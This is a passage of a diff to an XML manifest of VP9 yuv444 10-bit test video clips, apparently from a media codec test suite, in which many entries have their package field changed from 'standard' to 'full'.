-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=322637,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=322637,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=330965,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=330965,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=370814,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=370814,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369424,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369424,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369129,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369129,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=370031,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=370031,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369073,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=350873,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=350873,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=378615,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=378615,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=269588,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=269588,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=386123,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=386123,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1483967,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37041,10 +37041,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=148091509,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=23656433,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37053,7 +37053,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=148091509,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369250,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369250,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=6458984,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37068,55 +37068,55 @@
     <value>mime=video/x-vnd.on2.vp9,size=2399725,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=719965,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=719965,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=329662,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=329662,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=93246,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=93246,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369874,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369874,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369713,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369713,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368728,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368728,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368847,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368847,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369252,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369252,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368958,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368958,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368969,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368969,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=310039,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=310039,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=369251,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_1x1.webm">
     <value>mime=video/x-vnd.on2.vp9,size=981631,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37209,7 +37209,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=984446,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=742782,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=742782,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=984446,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37266,7 +37266,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=925842,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=292034,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=292034,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=984446,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37401,7 +37401,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=981436,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=744805,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=744805,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=981436,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37458,7 +37458,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=928138,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=294925,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=294925,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=981436,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37503,106 +37503,106 @@
     <value>mime=video/x-vnd.on2.vp9,size=981436,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41883,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41883,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42072,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42072,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42399,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42399,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42391,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40605,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40605,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41300,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41300,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42137,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42137,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42273,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42273,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42333,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42333,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42483,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42483,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42589,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
